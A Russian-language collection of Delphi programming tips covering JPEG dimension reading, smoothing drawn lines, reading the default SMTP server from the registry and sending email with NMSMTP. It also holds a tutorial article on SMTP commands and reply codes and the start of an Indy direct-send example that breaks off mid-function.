   SOIcount : Integer;
   b : byte;
 begin
   Result  := False;
   with TFileStream.Create(Filename, fmOpenRead or fmShareDenyNone) do
   begin
     try
       Position := 0;
       Read(X, 2);
       if (X <> $D8FF) then
         exit;
       SOIcount  := 0;
       Position  := 0;
       while (Position + 7 < Size) do
       begin
         Read(b, 1);
         if (b = $FF) then begin
           Read(b, 1);
           if (b = $D8) then
             inc(SOIcount);
           if (b = $DA) then
             break;
         end; {if}
       end; {while}
       if (b <> $DA) then
         exit;
       SegmentPos  := -1;
       Position    := 0;
       while (Position + 7 < Size) do
       begin
         Read(b, 1);
         if (b = $FF) then
         begin
           Read(b, 1);
           if (b in [$C0, $C1, $C2]) then
           begin
             SegmentPos  := Position;
             dec(SOIcount);
             if (SOIcount = 0) then
               break;
           end; {if}
         end; {if}
       end; {while}
       if (SegmentPos = -1) then
         exit;
       if (Position + 7 > Size) then
         exit;
       Position := SegmentPos + 3;
       Read(Y, 2);
       Read(X, 2);
       X := Swap(X);
       Y := Swap(Y);
       Result  := true;
     finally
       Free;
     end; {try}
   end; {with}
 end; {JPEGDimensions}

Убрать зазубринки при рисовании линий.

Статьи по Delphi (016)…

При рисовании линии, особенно под маленьким углом, хорошо различимы отдельные точки. Для устранения этого недостатка я использую уменьшение изображения, как в предыдущем совете.

procedure TForm1.Button1Click(Sender: TObject);
var
  x, y: integer;
  i, j: integer;
  r, g, b: integer;
begin
  Form1.Canvas.Pen.Width := 10;
  Form1.Canvas.MoveTo(10, 10);
  Form1.Canvas.LineTo(90, 20);
  for y := 0 to 10 do
  begin
    for x := 0 to 25 do
    begin
      r := 0;
      for i := 0 to 3 do
        for j := 0 to 3 do
          r := r + GetRValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
      r := round(r / 16);
      g := 0;
      for i := 0 to 3 do
        for j := 0 to 3 do
          g := g + GetGValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
      g := round(g / 16);
      b := 0;
      for i := 0 to 3 do
        for j := 0 to 3 do
          b := b + GetBValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
      b := round(b / 16);
      Form1.Canvas.Pixels[x,y+50] := RGB(r, g, b)
    end;
    Application.ProcessMessages;
  end;
end;

Найти smtp mailserver по умолчанию.

Автор: http://www.swissdelphicenter.ch

{
  Here is some code I successfully used te determine
  the DEFAULT mailaccount, which is used in
  Outlook Express, to send outgoing mail via SMTP.
}
procedure TForm1.ReadRegistryDefaults;
var
  Registry: TRegistry;
  AccountStr: string;
begin
  Registry := TRegistry.Create;
  try
    Registry.RootKey := hkey_CURRENT_USER;
    if Registry.OpenKey('software\microsoft\internet account manager', False)
      then {}
    begin
      AccountStr := Registry.ReadString('default mail account');
      Registry.CloseKey;
      if (AccountStr <> '') then
        if
          Registry.OpenKey('software\microsoft\internet account manager\accounts\'
          +
          AccountStr, False) then {}
        begin
          Edit_Server.Text := Registry.ReadString('SMTP Server');
          Edit_Account.Text := Registry.ReadString('SMTP Email Address');
          Registry.CloseKey;
        end;
    end;
  finally
    Registry.Free;
  end;
end;

Пример работы с SMTP.

Автор: Vit WEB-сайт: http://forum.vingrad.ru

unit Unit1;
interface
uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls, ComCtrls, Psock, NMsmtp;
type
  TForm1 = class(TForm)
    Memo: TRichEdit;
    Panel1: TPanel;
    SMTP: TNMSMTP;
    Panel2: TPanel;
    FromAddress: TEdit;
    predefined: TLabel;
    FromName: TEdit;
    Subject: TEdit;
    LocalProgram: TEdit;
    ReplyTo: TEdit;
    islog: TCheckBox;
    Host: TEdit;
    Port: TEdit;
    userid: TEdit;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    procedure CleanContext;
    procedure PerformConnection;
    procedure AddMessage(msg: string; color: integer);
    procedure log(inpt: string);
    procedure SetSMTP;
  public
    function SendEmail(_to, cc, bcc, Subject, body, attachment: string;
      HTMLFormat: boolean): boolean;
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.SetSMTP;
begin
  SMTP.Host := Host.Text;
  SMTP.Port := strtoint(Port.text);
  SMTP.UserID := userid.text;
end;
function GetEmailDateTime: string;
var
  tz: _time_Zone_information;
  s: string;
begin
  GetTimeZoneInformation(tz);
  if (tz.Bias * 100 div 60) < 1000 then
    s := format(' -0%d', [tz.Bias * 100 div 60])
  else
    s := format(' -%d', [tz.Bias * 100 div 60]);
  result := formatdatetime('ddd, dd mmm yyyy hh:nn:ss', now) + s;
end;
procedure TForm1.CleanContext;
{set default values, some of them comes from "Setup" form}
begin
  SMTP.PostMessage.FromAddress := FromAddress.text;
  SMTP.PostMessage.FromName := FromName.text;
  SMTP.PostMessage.ToAddress.Clear;
  SMTP.PostMessage.ToCarbonCopy.clear;
  SMTP.PostMessage.ToBlindCarbonCopy.clear;
  SMTP.PostMessage.Body.clear;
  SMTP.PostMessage.Attachments.clear;
  SMTP.PostMessage.Subject := Subject.text;
  SMTP.PostMessage.LocalProgram := LocalProgram.text;
  (*Mon, 27 Nov 2000 12:37:46 -0700*)
  SMTP.PostMessage.Date := GetEmailDateTime;
  SMTP.PostMessage.ReplyTo := ReplyTo.Text;
end;
procedure TForm1.log(inpt: string);
var
  outf: textfile;
begin {writing in the log file}
  if not islog.checked then
    exit;
  assignfile(outf, changefileext(paramstr(0), '.log'));
  if fileexists(changefileext(paramstr(0), '.log')) then
    append(outf)
  else
    rewrite(outf);
  writeln(outf, datetimetostr(now) + '|' + inpt);
  closefile(outf);
end;
procedure TForm1.AddMessage(msg: string; color: integer);
begin {showing in the memo field progress...}
  while memo.lines.Count > 2000 do
    memo.lines.Delete(0);
  memo.sellength := 0;
  memo.selstart := length(memo.text);
  memo.selattributes.Color := Color;
  memo.seltext := #13#10+DateTimeTostr(now) + ' ' + msg;
  memo.perform($00B7, 0, 0);
  Application.ProcessMessages;
  if color <> clRed then
    log(DateTimeTostr(now) + ' ' + msg)
  else
    log('Error: ' + DateTimeTostr(now) + ' ' + msg);
end;
procedure TForm1.PerformConnection;
begin
  while (not SMTP.connected) do
  begin
    SetSMTP;
    AddMessage('Connecting to SMTP', clBlue);
    application.processmessages;
    try
      SMTP.Connect;
      AddMessage('No Errors', clBlue);
    except
      on e: exception do
        AddMessage('Error conection: ' + e.message, clBlue);
    end;
  end;
end;
function TForm1.SendEmail(_to, cc, bcc, Subject, body, attachment: string;
  HTMLFormat: boolean): boolean;
begin
  PerformConnection;
  result := true;
  CleanContext;
  try
    if (attachment <> '') and (not Fileexists(attachment)) then
    begin
      AddMessage('Attachment is not ready yet (' + attachment + ') ', clNavy);
      sleep(300);
      result := false;
      exit;
    end;
    SMTP.PostMessage.ToAddress.text := StringReplace(_to, ';', #13#10,
    [rfReplaceAll, rfIgnoreCase]);
    if cc <> '' then
      SMTP.PostMessage.ToCarbonCopy.text := StringReplace(cc, ';', #13#10,
      [rfReplaceAll, rfIgnoreCase]);
    if bcc <> '' then
      SMTP.PostMessage.ToBlindCarbonCopy.text := StringReplace(bcc, ';', #13#10,
      [rfReplaceAll, rfIgnoreCase]);
    if Subject <> '' then
      SMTP.PostMessage.Subject := Subject;
    if HTMLFormat then
      SMTP.SubType := mtPlain
    else
      SMTP.SubType := mtHtml;
    SMTP.PostMessage.Body.Text := Body;
    if attachment <> '' then
      SMTP.PostMessage.Attachments.add(attachment);
    AddMessage('Sending to ' + _to, clGreen);
    SMTP.SendMail;
    AddMessage('Complete.' + #13#10,clGreen);
 except
    on e: sysutils.exception do
    begin
      AddMessage(e.message, clRed);
      result := false;
    end;
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  SendEmail('vit@vingrad.ru', '', '', 'test', 'body', '', False);
end;
end.

А это форма для этого примера:

object Form1: TForm1
  Left = 278
  Top = 108
  Width = 539
  Height = 480
  Caption = 'Form1'
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  OldCreateOrder = False
  PixelsPerInch = 96
  TextHeight = 13
  object Memo: TRichEdit
    Left = 0
    Top = 0
    Width = 346
    Height = 420
    Align = alClient
    Lines.Strings = ('Memo')
    TabOrder = 0
  end
  object Panel1: TPanel
    Left = 0
    Top = 420
    Width = 531
    Height = 33
    Align = alBottom
    Caption = 'Panel1'
    TabOrder = 1
    object Button1: TButton
      Left = 440
      Top = 8
      Width = 75
      Height = 25
      Caption = 'Button1'
      TabOrder = 0
      OnClick = Button1Click
    end
  end
  object Panel2: TPanel
    Left = 346
    Top = 0
    Width = 185
    Height = 420
    Align = alRight
    Caption = 'Panel2'
    TabOrder = 2
    object predefined: TLabel
      Left = 8
      Top = 8
      Width = 87
      Height = 13
      Caption = 'predefined values:'
    end
    object FromAddress: TEdit
      Left = 24
      Top = 32
      Width = 121
      Height = 21
      TabOrder = 0
      Text = 'FromAddress'
    end
    object FromName: TEdit
      Left = 24
      Top = 56
      Width = 121
      Height = 21
      TabOrder = 1
      Text = 'FromName'
    end
    object Subject: TEdit
      Left = 24
      Top = 80
      Width = 121
      Height = 21
      TabOrder = 2
      Text = 'Subject'
    end
    object LocalProgram: TEdit
      Left = 24
      Top = 104
      Width = 121
      Height = 21
      TabOrder = 3
      Text = 'LocalProgram'
    end
    object ReplyTo: TEdit
      Left = 24
      Top = 128
      Width = 121
      Height = 21
      TabOrder = 4
      Text = 'ReplyTo'
    end
    object islog: TCheckBox
      Left = 32
      Top = 168
      Width = 97
      Height = 17
      Caption = 'islog'
      TabOrder = 5
    end
    object Host: TEdit
      Left = 24
      Top = 240
      Width = 121
      Height = 21
      TabOrder = 6
      Text = 'Host'
    end
    object Port: TEdit
      Left = 24
      Top = 264
      Width = 121
      Height = 21
      TabOrder = 7
      Text = 'Port'
    end
    object userid: TEdit
      Left = 24
      Top = 288
      Width = 121
      Height = 21
      TabOrder = 8
      Text = 'userid'
    end
  end
  object SMTP: TNMSMTP
    Port = 25
    ReportLevel = 0
    EncodeType = uuMime
    ClearParams = True
    SubType = mtPlain
    Charset = 'us-ascii'
    Left = 296
    Top = 32
  end
end

Простой протокол передачи почты (SMTP).

Статьи по Delphi (016)…
- Здравствуйте, вы позвонили в Интернет, говорите, пожалуйста, громче, вас плохо слышно, здесь столько людей!

Агент передачи почты - основной компонент системы передачи почты Internet. Как уже говорилось, МТА как бы представляет данный сетевой компьютер для сетевой системы электронной почты. Пользователи редко имеют дело с МТА, поскольку он не вполне "дружелюбен", однако без него не обходится ни одна почтовая система. После того как UA пошлет сообщение в выходную очередь, за дело принимается МТА. Он извлекает сообщение и посылает его другому МТА. Этот процесс продолжается до тех пор, пока сообщение не достигнет компьютера-получателя. Для передачи сообщений по TCP-соединению большинство МТА пользуются протоколом SMTP. Сообщения форматированы по правилам виртуального сетевого терминала (NVT), то есть в NVT ASCII. NVT подобен виртуальному сетевому протоколу и нужен затем, чтобы скрыть различия в восприятии разными компьютерами разных символов, например переводов каретки, переводов строки, маркеров конца строки, очистки экрана и т. д. Символ в NVT состоит из семи битов набора ASCII и является буквой, цифрой или знаком пунктуации. Семи битный набор ASCII часто называется NVT ASCII.

Модель протокола

Взаимодействие в рамках SMTP строится по принципу двусторонней связи, которая устанавливается между отправителем и получателем почтового сообщения. При этом отправитель инициирует соединение и посылает запросы на обслуживание, а получатель - отвечает на эти запросы. Фактически отправитель выступает в роли клиента, а получатель - сервера.

Канал связи устанавливается непосредственно между отправителем и получателем сообщения. При таком взаимодействии почта достигает абонента в течение нескольких секунд после отправки.

Команды SMTP

Простой протокол передачи почты обеспечивает двухсторонний обмен сообщениями между локальным клиентом и удаленным сервером МТА. МТА-клиент шлет команды МТА-серверу, а он, в свою очередь, отвечает клиенту. Другими словами, протокол SMTP требует получать ответы (они описаны в этой главе) от приемника команд SMTP. Обмен командами и ответами на них называется почтовой транзакцией (mail transaction). Данные, как мы уже говорили, передаются в формате NVT ASCII. Кроме того, команды тоже передаются в формате NVT ASCII. Команды передаются в форме ключевых слов, а не специальных символов, и указывают на необходимость совершить ту или иную операцию. В табл.1 приведен список ключевых слов (команд), определенный в спецификации SMTP - RFC 821.

Команда Обязательна Описание
HELO X Идентифицирует модуль-передатчик для модуля-приемника (hello).
MAIL X Начинает почтовую транзакцию, которая завершается передачей данных в один или несколько почтовых ящиков (mail).
RCPT X Идентифицирует получателя почтового сообщения (recipient).
DATA Строки, следующие за этой командой, рассматриваются получателем как данные почтового сообщения. В случае SMTP, почтовое сообщение заканчивается комбинацией символов: CRLF-точка-CRLF.
RSET Прерывает текущую почтовую транзакцию (reset).
NOOP Требует от получателя не предпринимать никаких действий, а только выдать ответ ОК. Используется главным образом для тестирования.(No operation).
QUIT Требует выдать ответ ОК и закрыть текущее соединение.
VRFY Требует от приемника подтвердить, что ее аргумент является действительным именем пользователя. (См. примечание.).
SEND Начинает почтовую транзакцию, доставляющую данные на один или несколько терминалов (а не в почтовый ящик).
SOML Начинает транзакцию MAIL или SEND, доставляющую данные на один или несколько терминалов или в почтовые ящики.
SAML Начинает транзакцию MAIL и SEND, доставляющие данные на один или несколько терминалов и в почтовые ящики.
EXPN Команда SMTP-приемнику подтвердить, действительно ли аргумент является адресом почтовой рассылки и если да, вернуть адрес получателя сообщения (expand).
HELP Команда SMTP-приемнику вернуть сообщение-справку о его командах.
TURN Команда SMTP-приемнику либо сказать ОК и поменяться ролями, то есть стать STMP- передатчиком, либо послать сообщение-отказ и остаться в роли SMTP-приемника.
Таблица 1. Команды простого протокола передачи почты (SMTP)

Примечание: В RFC 821 сказано, что команда VRFY не является обязательной для минимального набора команд SMTP. Однако в RFC 1123 (Requirements for Internet Hosts - Application and Support,Braden, 1989), команда VRFY фигурирует в списке обязательных для Internet команд реализации SMTP.

В соответствии со спецификацией команды, помеченные крестиком (X) в табл.1, обязаны присутствовать в любой реализации SMTP. Остальные команды SMTP могут быть реализованы дополнительно. Каждая SMTP-команда должна заканчиваться либо пробелом (если у нее есть аргумент), либо комбинацией CRLF. В описании команд употреблялось слово <данные", а не <сообщение>. Этим подчеркивалось, что, кроме текста, SMTP позволяет передавать и двоичную информацию, например графические или звуковые файлы. Другими словами, SMTP способен передавать данные любого содержания, а не только текстовые сообщения. Это значит, что, рассматривая вопросы, касающиеся SMTP, не забывайте, что термин "сообщениее" обозначает не только текстовые данные. </p><p> <b>Последовательность команд SMTP</b> </p><p> Как мы уже отмечали, SMTP обеспечивает двухстороннюю связь между агентами передачи почты (МТА), клиентом и сервером. Клиенты шлют команды серверу, а серверы отвечают клиентам. Однако SMTP оговаривает последовательность SMTP-команд. Лучший способ понять это - взглянуть на образец почтовой транзакции. Следующий пример (он взят целиком из RFC 821) демонстрирует типичную почтовую транзакцию. В примере фигурирует мистер Smith (на компьютере usc.edu), посылающий сообщения мистерам Jones, Green и Brown (на компьютере mit.edu). Агент передачи почты хоста mit.edu принимает почту для мистеров Jones и Brown, однако не знает, где расположен почтовый ящик мистера Green. </p><p> Для целей дальнейшего повествования каждой строке присвоен номер и обозначено, кому они принадлежат - передатчику или приемнику. Текст справа от слов <RECEIVER> или <SENDER> содержит действительно передаваемые данные. Трехзначные цифровые комбинации в начале передаваемых строк обозначают коды ответа (их значение объясняется позже). Ответ SMTP похож на сообщения-подтверждения о доставке, поскольку появляется лишь в том случае, когда приемник получил данные. </p> <ol> <li>RECEIVER 220 mit.edu Simple Mail Transfer Service Ready </li> <li>SENDER HELO usc.edu </li> <li>RECEIVER 250 mit.edu </li> <li>SENDER MAIL FROM: <Smith@usc.edu></li> <li>RECEIVER 250 OK </li> <li>SENDER RCPT TO:<Jones@mit.edu></li> <li>RECEIVER 250 OK </li> <li>SENDER RCPT TO:<Green@mit.edu> </li> <li>RECEIVER 550 No such user here </li> <li>SENDER RCPT TO:<Brown@mit.edu></li> <li>RECEIVER 250 OK </li> <li>SENDER DATA </li> <li>RECEIVER 354 Start mail input; end with <CRLF>.<CRLF></li> <li>SENDER Blah blah blah... </li> <li>SENDER ...etc. etc. etc. </li> <li>SENDER . </li> <li>RECEIVER 250 OK </li> <li>SENDER QUIT </li> <li>RECEIVER 221 mit.edu Service closing transmission channel </li> </ol> <p> Как видно из строки 1, когда SMTP-клиент устанавливает TCP-соединение с портом протокола 25, SMTP-сервер отвечает кодом 220. Это означает, что соединение успешно установлено: </p> <ol start=1> <li>RECEIVER: 220 mit.edu Simple Mail Transfer Service Ready</li> </ol> <p> После того как MTA компьютеров mit.edu и usc.edu установили соединение и обменялись приветствием, первой командой, согласно спецификации, должна быть команда HELO. Как указано в строке 2, SMTP-клиент передает HELO, указывая имя своего компьютера в качестве аргумента. Другими словами, он сообщает: <Привет, я - usc.edu>. Команда HELO употребляется с аргументом, как показано ниже: </p> <ol start=2> <li>SENDER: HELO usc.edu</li> </ol> <p> В ответ на HELO приемник выдает код 250, сообщая передатчику о том, что команда принята и обработана: </p> <ol start=3> <li>RECEIVER: 250 mit.edu</li> </ol> <p> После установления TCP-соединения и идентификации (при помощи HELO) SMTP-клиент приступает к почтовой транзакции. Для начала он выполняет одну из следующих команд: MAIL, SEND, SOML или SAML. В нашем примере использована команда MAIL: </p> <ol start=4> <li>SENDER: MAIL FROM:<Smith@usc.edu></li> </ol> <p> Все четыре команды, MAIL, SEND, SOML и SAML, имеют одинаковый синтаксис: </p> <ul type=square> <li>MAIL <пробел> FROM:<reverse-path> <carriage-return line-feed></li> </ul> <p> Примечание: Команды SEND, SOML и SAML дополнительны и используются довольно редко. </p> <p> Аргумент <обратный путь> (reverse path) указывает серверу, кому в случае ошибки отослать соответствующее сообщение. Мы еще рассмотрим его подробнее. На данный момент для нас важно, что в аргументе содержится адрес источника сообщения (в нашем случае, Smith@usc,edu). После того как сервер выдал код ответа 250 (строка 5), согласившись обработать сообщение от Smith@usc.edUt необходимо указать получателя сообщения. Это делается при помощи команды RCPT. Команда RCPT имеет аргумент - имя получателя. На одну команду приходится только одно имя, поэтому, если получателей несколько, команда RCPT выдается несколько раз. В нашем примере команды RCPT выполняются в строках 6, 8 и 10. Синтаксис RCPT похож на синтаксис команды MAIL: </p> <ul type=square> <li>RCPT <пробел> TO:<forward-path> <CRLF></li> </ul> <p> Однако, в отличие от MAIL, аргумент RCPT начинается со слова <ТО:>. Содержимое аргумента - путь передачи сообщения (forward path), а не обратный путь. На данный момент для нас важно, что в пути передачи сообщения указано имя почтового ящика получателя. Выдав команду RCPT, МТА-клиент ожидает получить ответ с кодом 250. Однако в ответ на восьмую строку </p> <ol start=8> <li>SENDER: RCPT TO:<Green@mit.edu></li> </ol> <p> сервер отвечает кодом 550: </p> <ol start=9> <li>RECEIVER: 550 No such user here</li> </ol> <p> Код ответа 550 означает, что МТА не в состоянии выполнить запрос клиента, поскольку не знает, как доставить почту указанному пользователю. То есть, скорее всего, у мистера по фамилии Green нет почтового ящика (Green@mit,edu) на этом компьютере. В протоколе SMTP сказано, что сервер обязан информировать клиента об отсутствии почтового ящика получателя сообщения. Однако в спецификации SMTP ничего не говорится о том, как клиент должен реагировать на это сообщение. </p> <p> После того как посланы все команды RCPT, клиент начинает передачу данных при помощи команды DATA. В строке 12 показано, как МТА-клиент (передатчик) высылает команду DATA, в строке 13 - как сервер отвечает кодом 354. Этот код означает, что передача данных разрешена и должна заканчиваться комбинацией CRLF-<точка>-CRLF (новой строкой, содержащей только точку). </p> <ol start=12> <li>SENDER: DATA</li> <li>RECEIVER: 354 Start mail input; end with <CRLF>.<CRLF></li> </ol> <p> После того как получен код 354, клиент может начать передачу данных. МТА-сервер, в свою очередь, помещает принятые данные в очереди входящих сообщений. Сервер не высылает никаких ответов до тех пор, пока не получит комбинацию CRLF-точка-CRLF от клиента, означающую конец передачи данных. Как показано в строках 16 и 17, в ответ на полученную комбинацию CRLF-<точка>-CRLF, сервер выдает код 250. Как мы уже говорили, код ответа 250 означает успешное окончание операции: </p> <ol start=16> <li>SENDER:</li> <li>RECEIVER: 250 OK</li> </ol> <p> Для того чтобы закончить почтовую транзакцию, клиент, по правилам SMTP, обязан послать команду QUIT. Сервер, в свою очередь, отвечает кодом 221. Этот код подтверждает клиенту, что соединение будет закрыто, после чего соединение действительно закрывается: </p> <ol start=18> <li>SENDER: QUIT</li> <li>RECEIVER: 221 mit.edu Service closing transmission channel</li> </ol> <p> В любой момент во время транзакции клиент может использовать команды NOOP, HELP, EXPN и VRFY. В ответ на каждую команду сервер высылает клиенту определенную информацию. Конечно, в зависимости от ответа клиент может предпринять определенные действия, однако спецификация SMTP ничего не говорит по этому поводу. Например, клиент-МТА может передать команду VRFY для того, чтобы убедиться, что имя пользователя действительно. Если сервер ответит, что данного имени не существует, клиент МТА может не передавать почту для этого пользователя. В спецификации SMTP, однако, на этот счет нет никаких указаний - клиент может ничего не делать в ответ на команду VRFY. МТА-клиент может ничего не делать также в ответ на команды NOOP, HELP и EXPN - ответственность целиком лежит на разработчике конкретной реализации МТА. </p><p> <b>Коды ответов SMTP</b> </p><p> В спецификации SMTP требуется, чтобы сервер отвечал на каждую команду SMTP-клиента. МТА-сервер отвечает трехзначной комбинацией цифр, называемой кодом ответа. Вместе с кодом ответа, как правило, передается одна или несколько строк текстовой информации. </p><p> Примечание: Несколько строк текста, как правило, сопровождают только команды EXPN и HELP.В спецификации SMTP, однако, ответ на любую команду может состоять из нескольких строк текста. </p><p> Каждая цифра в коде ответа имеет определенный смысл. Первая цифра означает, было ли выполнение команды успешно (2), неуспешно (5) или еще не закончилось (3). Как указано в приложении Е документа RFC 821, простой SMTP-клиент может анализировать только первую цифру в ответе сервера, и на основании ее продолжать свои действия. Вторая и третья цифры кода ответа разъясняют значение первой. Если вы разрабатываете SMTP-приложение, обязательно изучите конструкцию всех кодов SMTP-ответа. То, как коды составлены в самом SMTP - превосходный образец грамотного подхода к делу. В табл.2 приведены возможные значения кодов ответа SMTP, определенные в RFC 821. </p><p> Коды ответа SMTP и их значение </p> <ul type=square> <li>211 Ответ о состоянии системы или помощь </li> <li>214 Сообщение-подсказка (помощь) </li> <li>220 <имя_домена> служба готова к работе </li> <li>221 <имя_домена> служба закрывает канал связи </li> <li>250 Запрошенное действие почтовой транзакции успешно завершилось </li> <li>251 Данный адресат не является местным; сообщение будет передано по маршруту <forward-path></li> <li>354 Начинай передачу сообщения. Сообщение заканчивается комбинацией CRLF-точка-CRLF </li> <li>421 <имя_домена> служба недоступна; соединение закрывается </li> <li>450 Запрошенная команда почтовой транзакции не выполнена, так как почтовый ящик недоступен </li> <li>451 Запрошенная команда не выполнена; произошла локальная ошибка при обработке сообщения </li> <li>452 Запрошенная команда не выполнена; системе не хватило ресурсов </li> <li>500 Синтаксическая ошибка в тексте команды; команда не опознана </li> <li>501 Синтаксическая ошибка в аргументах или параметрах команды </li> <li>502 Данная команда не реализована </li> <li>503 Неверная последовательность команд </li> <li>504 У данной команды не может быть аргументов </li> <li>550 Запрошенная команда не выполнена, так как почтовый ящик недоступен </li> <li>551 Данный адресат не является местным; попробуйте передать сообщение по маршруту <forward-path></li> <li>552 Запрошенная команда почтовой транзакции прервана; дисковое пространство, доступное системе, переполнилось </li> <li>553 Запрошенная команда не выполнена; указано недопустимое имя почтового ящика </li> <li>554 Транзакция не выполнена </li> </ul> <p> <b>Промежуточные агенты</b> </p><p> Термин "маршрут доставки" (forward-path) служит для того, чтобы отличать почтовый ящик (mailbox), имя которого абсолютно, от пути (он может быть различным), по которому следует почта. Предположим, что мы хотим доставить два почтовых сообщения на один и тот же сетевой компьютер. Оба сообщения имеют один и тот же адрес, однако не обязательно будут следовать по одному и тому же маршруту. Точно так же, если на пришедшие сообщения выдаются ответы, они не обязательно будут следовать по указанному обратному маршруту (reverse-path). Как правило, конкретный маршрут для почты выбирается системным администратором. Чтобы направить почту по нужному пути, используются значения маршрута доставки и обратного маршрута, в которых указываются промежуточные агенты (relay agents). Промежуточный агент доставки - это МТА, так называемый почтовый хаб (mail hub), настроенный на передачу транзитной почты. Чтобы доставить сообщение, местный агент пользователя (UA) передает его местному МТА, который, в свою очередь, передает его промежуточному агенту МТА. В следующем примере Smith@usc.edu является почтовым ящиком, a HOSTI, HOST2 и HOST3 - промежуточными агентами: </p> <table><tr><td><br> <pre> MAIL FROM:<@HOSTI, @HOST2, @HOST3:Smith@usc.edu> </pre> </td></tr></table><br> <p> В наше время промежуточные агенты присутствуют практически во всех сетях, входящих в Internet. На рис.6 приведена типичная конфигурация почтовой системы Internet с участием промежуточных агентов. </p><p> Чтобы упростить процесс конфигурации почтовой системы, в локальной сети устанавливается один компьютер, служащий промежуточным агентом (relay host). Вся почта пользователей попадает сначала на него. Затем этот компьютер рассылает сообщения по Internet. Кроме всего прочего, такой компьютер может служить защитой фирмы от взломщиков-хакеров из Internet. Ограничивая общение локальной сети с внешним миром до уровня почты, организация сводит до минимума риск нежелательного вторжения в свои собственные системы. </p><p> Кроме того, администрировать и защищать в этом случае приходится единственный компьютер. SMTP в состоянии послать сообщение непосредственно с компьютера пользователя на компьютер адресата в том случае, если между ними существует прямое почтовое соединение. К сожалению, это далеко не всегда так. Как правило, между двумя компьютерами находится один или несколько промежуточных агентов. Чтобы обеспечить доставку, в почтовом сообщении нужно указать имя компьютера-получателя и точное наименование почтового ящика. Аргументом команды MAIL является обратный маршрут, включающий имя источника сообщения и имена всех промежуточных агентов. Аргумент команды RCPT - маршрут доставки, содержащий имя получателя сообщения. Обратный маршрут описывает путь, который прошло сообщение, тогда как маршрут доставки идентифицирует место назначения. Обратный маршрут используется SMTP, когда нужно передать сообщение о случившейся ошибке или о невозможности доставить сообщение, когда оно уже прошло через промежуточный агент. По мере продвижения сообщения по Internet записи о его маршрутах изменяются. В обязанности системных администраторов входит правильно настраивать местные МТА на передачу сообщений промежуточному агенту, и наоборот, промежуточные агенты на доставку сообщений местным МТА. Если у промежуточного МТА изменится имя, все, что нужно сделать в конфигурации местного МТА - изменить имя компьютера в системе DNS. Другие параметры конфигурации не изменяются. Другими словами, повторим еще раз, что иметь один компьютер для промежуточной доставки - значит, снять с себя значительную часть головной боли по настройке почтовой системы - ведь придется заботиться только об одном компьютере. </p><p> Рассмотрим почтовую транзакцию между промежуточными агентами SMTP. До того как сообщение будет передано следующему указанному в маршруте (в поле ТО:) компьютеру, имя данного компьютера удаляется из маршрута доставки и добавляется в начало обратного маршрута. К тому моменту, когда сообщение достигнет пункта назначения, маршрут доставки будет содержать только имя почтового ящика. В RFC 821 приведен пример того, как изменяется содержимое маршрутов по мере обработки почтового сообщения. Когда промежуточный агент А получает почту со следующими аргументами: </p> <table><tr><td><br> <pre> FROM: <USERX@HOSTY.ARPA> TO: <@HOSTA.ARPA, @HOSTB.ARPA: USERC@HOSTD.ARPA> </pre> </td></tr></table><br> <p> он переправляет почту сетевому компьютеру В со следующими аргументами: </p> <table><tr><td><br> <pre> FROM: <@HOSTA.ARPA: USERX@HOSTY.ARPA> TO: <@HOSTB.ARPA: USERC@HOSTD.ARPA> </pre> </td></tr></table><br> <p> Как видим, промежуточный агент A (HOSTA.ARPA) убрал свое имя из заголовка <ТО:> и добавил в заголовок <FROM:>. Промежуточный агент компьютера В совершит аналогичное действие, и следующим пунктом назначения сообщения будет почтовый ящик USERC на компьютере HOSTD.ARPA. </p><p> Примечание: <blоскquоtе>Другими словами, обратные маршруты и маршруты доставки строятся агентами передачи почты по мере прохождения сообщения от одного агента к следующему. Если очередной на пути сообщения SMTP-агент не умеет обслуживать промежуточную доставку, он должен ответить таким же кодом, какой предусмотрен на случай отсутствия местного почтового ящика.</blockquote> </p> <!-- end -->

Использование SMTP Relay Server.

Автор: Vit WEB-сайт: http://forum.vingrad.ru

Использование SMTP Relay Server - отсылка письма напрямую минуя любые промежуточные сервера (пример взят из библиотеки Indy). Для отсылки письма с использованием компонентов Indy. Пример для Delphi 7 (скорее всего будет работать и в Delphi 6), для Kylix 3 нужны небольшие исправления для перевода в CLX приложение (сама функциональность та же).

unit fMain;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, IdComponent,
  IdUDPBase, IdUDPClient, IdDNSResolver, IdBaseComponent, IdMessage,
  StdCtrls, ExtCtrls, ComCtrls, IdAntiFreezeBase, IdAntiFreeze;
type
  TfrmMain = class(TForm)
    IdMessage: TIdMessage;
    IdDNSResolver: TIdDNSResolver;
    IdSMTP: TIdSMTP;
    Label1: TLabel;
    sbMain: TStatusBar;
    Label2: TLabel;
    edtDNS: TEdit;
    Label3: TLabel;
    Label4: TLabel;
    edtSender: TEdit;
    Label5: TLabel;
    edtRecipient: TEdit;
    Label6: TLabel;
    edtSubject: TEdit;
    Label7: TLabel;
    mmoMessageText: TMemo;
    btnSendMail: TButton;
    btnExit: TButton;
    IdAntiFreeze: TIdAntiFreeze;
    Label8: TLabel;
    edtTimeOut: TEdit;
    Label9: TLabel;
    Label10: TLabel;
    procedure btnExitClick(Sender: TObject);
    procedure btnSendMailClick(Sender: TObject);
  public
    fMailServers: TStringList;
    function PadZero(s: string): string;
    function GetMailServers: Boolean;
    function ValidData: Boolean;
    procedure SendMail; overload;
    function SendMail(aHost: string): Boolean; overload;
    procedure LockControls;
    procedure UnlockControls;
    procedure Msg(aMessage: string);
  end;
var
  frmMain: TfrmMain;
implementation
{$R *.DFM}
procedure TfrmMain.btnExitClick(Sender: TObject);
begin
  application.terminate;
end;
procedure TfrmMain.btnSendMailClick(Sender: TObject);
begin
  Msg('');
  LockControls;
  if ValidData then
    SendMail;
  UnlockControls;
  Msg('');
end;
function TfrmMain.GetMailServers: Boolean;
var
  i, x: integer;
  LDomainPart: string;
  LMXRecord: TMXRecord;
begin
  if not assigned(fmailServers) then
    fMailServers := TStringList.Create;
